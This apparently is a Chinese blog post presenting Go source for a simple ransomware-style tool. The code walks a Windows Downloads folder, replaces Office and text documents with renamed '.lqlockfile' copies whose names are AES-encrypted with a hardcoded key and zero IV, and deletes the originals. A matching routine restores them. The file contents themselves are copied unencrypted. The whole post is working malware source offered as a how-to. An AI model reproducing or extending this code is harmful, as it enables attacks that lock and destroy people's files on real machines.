package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"encoding/hex"
"fmt"
"io"
"os"
ps "path"
"path/filepath"
"strings"
)
//
func PKCS7Padding(ciphertext []byte, blockSize int) []byte {
padding := blockSize - len(ciphertext)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padtext...)
}
func PKCS7UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}
//AesEncrypt 加密函数
func AesEncrypt(plaintext []byte, key, iv []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockSize := block.BlockSize()
plaintext = PKCS7Padding(plaintext, blockSize)
blockMode := cipher.NewCBCEncrypter(block, iv)
crypted := make([]byte, len(plaintext))
blockMode.CryptBlocks(crypted, plaintext)
return crypted, nil
}
// AesDecrypt 解密函数
func AesDecrypt(ciphertext []byte, key, iv []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockSize := block.BlockSize()
blockMode := cipher.NewCBCDecrypter(block, iv[:blockSize])
origData := make([]byte, len(ciphertext))
blockMode.CryptBlocks(origData, ciphertext)
origData = PKCS7UnPadding(origData)
return origData, nil
}
func main() {
key, _ := hex.DecodeString("6368616e676520746869732070617373")
fmt.Println(string(key))
plaintext := []byte("hello-ming")
c := make([]byte, aes.BlockSize+len(plaintext))
iv := c[:aes.BlockSize]
//加密
ciphertext, err := AesEncrypt(plaintext, key, iv)
fmt.Println(string(iv))
if err != nil {
panic(err)
}
//打印加密base64后密码
fmt.Println(base64.StdEncoding.EncodeToString(ciphertext))
//解密
plaintext, err = AesDecrypt(ciphertext, key, iv)
if err != nil {
panic(err)
}
//打印解密明文
//ReadFile(key,iv)
//还原文件
WriteFile(key,iv)
}
func WriteFile(key, iv []byte){
root := "C:/Users/Administrator/Downloads"
err := filepath.Walk(root, func(path string, info os.FileInfo, err error) error {
if !info.IsDir(){
ext:=strings.Replace(ps.Ext(info.Name()),".","",-1)
fmt.Println(ext)
path=strings.Replace(path,"\\","/",-1)
if ext=="lqlockfile"{
_,encry_name:=filepath.Split(path)
encry_name=strings.Replace(encry_name,"-l-l-","/",-1)
ciphertext,_:=base64.StdEncoding.DecodeString(encry_name)
//解密
plaintext, err := AesDecrypt(ciphertext, key, iv)
encry_file,err:=os.Open(path)
fmt.Println(err,string(ciphertext))
old_file,err:=os.Create(string(plaintext))
if err != nil {
fmt.Println(path)
panic(err)
}
//new_file_name:=
io.Copy(old_file,encry_file)
old_file.Close()
encry_file.Close()
//删除文件
os.Remove(path)
}
}
return nil
})
if err != nil {
panic(err)
}
}
func ReadFile(key, iv []byte){
var files []string
root := "C:/Users/Administrator/Downloads"
err := filepath.Walk(root, func(path string, info os.FileInfo, err error) error {
if !info.IsDir(){
ext:=strings.Replace(ps.Ext(info.Name()),".","",-1)
fmt.Println(ext)
path=strings.Replace(path,"\\","/",-1)
if ext=="xlsx"||ext=="xls"||ext=="doc"||ext=="txt"||ext=="docs"{
//加密
ciphertext, err := AesEncrypt([]byte(path), key, iv)
plaintext, err := AesDecrypt(ciphertext, key, iv)
fmt.Println(string(plaintext))
fmt.Println(11111111,string(ciphertext))
sEnc := base64.StdEncoding.EncodeToString(ciphertext)
last_file_name:=strings.Replace(sEnc,"/","-l-l-",-1)
user_dir,_:=filepath.Split(path)
real_file,err:=os.Open(path)
fmt.Println(err,string(ciphertext))
encry_file,err:=os.Create(user_dir+last_file_name+".lqlockfile")
if err != nil {
fmt.Println(path)
panic(err)
}
//new_file_name:=
io.Copy(encry_file,real_file)
real_file.Close()
encry_file.Close()
//删除文件
fmt.Println(path)
result:=os.Remove(path)
fmt.Println(result,err)
}
}
files = append(files, path)
return nil
})
if err != nil {
panic(err)
}
}
记一次简单的勒索加密
最新推荐文章于 2022-12-19 15:50:32 发布